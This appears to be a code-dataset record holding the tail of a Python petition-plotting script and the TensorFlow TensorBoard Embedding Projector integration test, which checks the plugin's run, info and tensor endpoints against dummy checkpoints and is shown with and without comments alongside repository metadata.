False: k=0 for i in range(len(met)): k=k+1 t = met[i]['petition']['created_datetime'] dt = t.encode()[0:10] t0 = datetime.datetime(int(dt[0:4]),int(dt[5:7]),int(dt[8:10])) s.append(t0) s2.append(k) fig, ax = plt.subplots() fig.set_size_inches(8,3) plt.rcParams.update({'font.size': 15}) plt.rc('font', family='serif') ax.plot(s,s2,color='darkblue') plt.title("Cumulative number of petitions") plt.ylabel("Number of Petitions",fontsize=15) ax.set_xlim([734300,735687]) for label in ax.xaxis.get_ticklabels()[1::2]: label.set_visible(False) ax.xaxis.get_ticklabels()[0].set_visible(True) ax.xaxis.get_ticklabels()[-1].set_visible(True) ax.tick_params(axis='both', which='major', labelsize=10) plt.tight_layout() fig.savefig('pets_vs_time', dpi=500) if False: for i in range(len(met)): if int(met[i]['petition']['signature_count'])<100000 and int(met[i]['petition']['signature_count'])>5000: print met[i]['petition']['id'], met[i]['petition']['signature_count']

false

true

790b3468a36f769806063323bf41611a538801a6

5,280

py

Python

tensorflow/tensorboard/plugins/projector/projector_plugin_test.py

garston2/tensorflow

bbe056e5a0ab81b67fcb6053400812b3d5805fc7

[ "Apache-2.0" ]

null

tensorflow/tensorboard/plugins/projector/projector_plugin_test.py

garston2/tensorflow

bbe056e5a0ab81b67fcb6053400812b3d5805fc7

[ "Apache-2.0" ]

null

tensorflow/tensorboard/plugins/projector/projector_plugin_test.py

garston2/tensorflow

bbe056e5a0ab81b67fcb6053400812b3d5805fc7

[ "Apache-2.0" ]

null

# Copyright 2017 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """Integration tests for the Embedding Projector.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function import gzip import io import json import os import numpy as np from werkzeug import test as werkzeug_test from werkzeug import wrappers from google.protobuf import text_format from tensorflow.contrib.tensorboard.plugins.projector.projector_config_pb2 import ProjectorConfig from tensorflow.core.protobuf import saver_pb2 from tensorflow.python.client import session from tensorflow.python.framework import ops from tensorflow.python.ops import init_ops from tensorflow.python.ops import variable_scope from tensorflow.python.ops import variables from tensorflow.python.platform import gfile from tensorflow.python.platform import test from tensorflow.python.training import saver as saver_lib from tensorflow.tensorboard.backend import application from tensorflow.tensorboard.backend.event_processing import event_multiplexer from tensorflow.tensorboard.plugins.projector import projector_plugin class ProjectorAppTest(test.TestCase): def setUp(self): self.log_dir = self.get_temp_dir() def testRunsWithValidCheckpoint(self): self._GenerateProjectorTestData() self._SetupWSGIApp() run_json = self._GetJson('/data/plugin/projector/runs') self.assertEqual(run_json, ['.']) def testRunsWithNoCheckpoint(self): self._SetupWSGIApp() run_json = self._GetJson('/data/plugin/projector/runs') self.assertEqual(run_json, []) def testRunsWithInvalidModelCheckpointPath(self): checkpoint_file = os.path.join(self.log_dir, 'checkpoint') f = open(checkpoint_file, 'w') f.write('model_checkpoint_path: "does_not_exist"\n') f.write('all_model_checkpoint_paths: "does_not_exist"\n') f.close() self._SetupWSGIApp() run_json = self._GetJson('/data/plugin/projector/runs') self.assertEqual(run_json, []) def testInfoWithValidCheckpoint(self): self._GenerateProjectorTestData() self._SetupWSGIApp() info_json = self._GetJson('/data/plugin/projector/info?run=.') self.assertItemsEqual(info_json['embeddings'], [{ 'tensorShape': [1, 2], 'tensorName': 'var1' }, { 'tensorShape': [10, 10], 'tensorName': 'var2' }, { 'tensorShape': [100, 100], 'tensorName': 'var3' }]) def testTensorWithValidCheckpoint(self): self._GenerateProjectorTestData() self._SetupWSGIApp() url = '/data/plugin/projector/tensor?run=.&name=var1' tensor_bytes = self._Get(url).data tensor = np.reshape(np.fromstring(tensor_bytes, dtype='float32'), [1, 2]) expected_tensor = np.array([[6, 6]], dtype='float32') self.assertTrue(np.array_equal(tensor, expected_tensor)) def _SetupWSGIApp(self): multiplexer = event_multiplexer.EventMultiplexer( size_guidance=application.DEFAULT_SIZE_GUIDANCE, purge_orphaned_data=True) projector = projector_plugin.ProjectorPlugin() projector.get_plugin_apps(multiplexer, self.log_dir) plugins = {'projector': projector} wsgi_app = application.TensorBoardWSGIApp( self.log_dir, plugins, multiplexer, reload_interval=0) self.server = werkzeug_test.Client(wsgi_app, wrappers.BaseResponse) def _Get(self, path): return self.server.get(path) def _GetJson(self, path): response = self.server.get(path) data = response.data if response.headers.get('Content-Encoding') == 'gzip': data = gzip.GzipFile('', 'rb', 9, io.BytesIO(data)).read() return json.loads(data.decode('utf-8')) def _GenerateProjectorTestData(self): config_path = os.path.join(self.log_dir, 'projector_config.pbtxt') config = ProjectorConfig() embedding = config.embeddings.add() # Add an embedding by its canonical tensor name. embedding.tensor_name = 'var1:0' config_pbtxt = text_format.MessageToString(config) with gfile.GFile(config_path, 'w') as f: f.write(config_pbtxt) # Write a checkpoint with some dummy variables. with ops.Graph().as_default(): sess = session.Session() checkpoint_path = os.path.join(self.log_dir, 'model') variable_scope.get_variable( 'var1', [1, 2], initializer=init_ops.constant_initializer(6.0)) variable_scope.get_variable('var2', [10, 10]) variable_scope.get_variable('var3', [100, 100]) sess.run(variables.global_variables_initializer()) saver = saver_lib.Saver(write_version=saver_pb2.SaverDef.V1) saver.save(sess, checkpoint_path) if __name__ == '__main__': test.main()

36.413793

97

0.726136

from __future__ import absolute_import from __future__ import division from __future__ import print_function import gzip import io import json import os import numpy as np from werkzeug import test as werkzeug_test from werkzeug import wrappers from google.protobuf import text_format from tensorflow.contrib.tensorboard.plugins.projector.projector_config_pb2 import ProjectorConfig from tensorflow.core.protobuf import saver_pb2 from tensorflow.python.client import session from tensorflow.python.framework import ops from tensorflow.python.ops import init_ops from tensorflow.python.ops import variable_scope from tensorflow.python.ops import variables from tensorflow.python.platform import gfile from tensorflow.python.platform import test from tensorflow.python.training import saver as saver_lib from tensorflow.tensorboard.backend import application from tensorflow.tensorboard.backend.event_processing import event_multiplexer from tensorflow.tensorboard.plugins.projector import projector_plugin class ProjectorAppTest(test.TestCase): def setUp(self): self.log_dir = self.get_temp_dir() def testRunsWithValidCheckpoint(self): self._GenerateProjectorTestData() self._SetupWSGIApp() run_json = self._GetJson('/data/plugin/projector/runs') self.assertEqual(run_json, ['.']) def testRunsWithNoCheckpoint(self): self._SetupWSGIApp() run_json = self._GetJson('/data/plugin/projector/runs') self.assertEqual(run_json, []) def testRunsWithInvalidModelCheckpointPath(self): checkpoint_file = os.path.join(self.log_dir, 'checkpoint') f = open(checkpoint_file, 'w') f.write('model_checkpoint_path: "does_not_exist"\n') f.write('all_model_checkpoint_paths: "does_not_exist"\n') f.close() self._SetupWSGIApp() run_json = self._GetJson('/data/plugin/projector/runs') self.assertEqual(run_json, []) def testInfoWithValidCheckpoint(self): self._GenerateProjectorTestData() self._SetupWSGIApp() info_json = self._GetJson('/data/plugin/projector/info?run=.') self.assertItemsEqual(info_json['embeddings'], [{ 'tensorShape': [1, 2], 'tensorName': 'var1' }, { 'tensorShape': [10, 10], 'tensorName': 'var2' }, { 'tensorShape': [100, 100], 'tensorName': 'var3' }]) def testTensorWithValidCheckpoint(self): self._GenerateProjectorTestData() self._SetupWSGIApp() url = '/data/plugin/projector/tensor?run=.&name=var1' tensor_bytes = self._Get(url).data tensor = np.reshape(np.fromstring(tensor_bytes, dtype='float32'), [1, 2]) expected_tensor = np.array([[6, 6]], dtype='float32') self.assertTrue(np.array_equal(tensor, expected_tensor)) def _SetupWSGIApp(self): multiplexer = event_multiplexer.EventMultiplexer( size_guidance=application.DEFAULT_SIZE_GUIDANCE, purge_orphaned_data=True) projector = projector_plugin.ProjectorPlugin() projector.get_plugin_apps(multiplexer, self.log_dir) plugins = {'projector': projector} wsgi_app = application.TensorBoardWSGIApp( self.log_dir, plugins, multiplexer, reload_interval=0) self.server = werkzeug_test.Client(wsgi_app, wrappers.BaseResponse) def _Get(self, path): return self.server.get(path) def _GetJson(self, path): response = self.server.get(path) data = response.data if response.headers.get('Content-Encoding') == 'gzip': data = gzip.GzipFile('', 'rb', 9, io.BytesIO(data)).read() return json.loads(data.decode('utf-8')) def _GenerateProjectorTestData(self): config_path = os.path.join(self.log_dir, 'projector_config.pbtxt') config = ProjectorConfig() embedding = config.embeddings.add() embedding.tensor_name = 'var1:0' config_pbtxt = text_format.MessageToString(config) with gfile.GFile(config_path, 'w') as f: f.write(config_pbtxt) with ops.Graph().as_default(): sess = session.Session() checkpoint_path = os.path.join(self.log_dir, 'model') variable_scope.get_variable( 'var1', [1, 2], initializer=init_ops.constant_initializer(6.0)) variable_scope.get_variable('var2', [10, 10]) variable_scope.get_variable('var3', [100, 100]) sess.run(variables.global_variables_initializer()) saver = saver_lib.Saver(write_version=saver_pb2.SaverDef.V1) saver.save(sess, checkpoint_path) if __name__ == '__main__': test.main()

true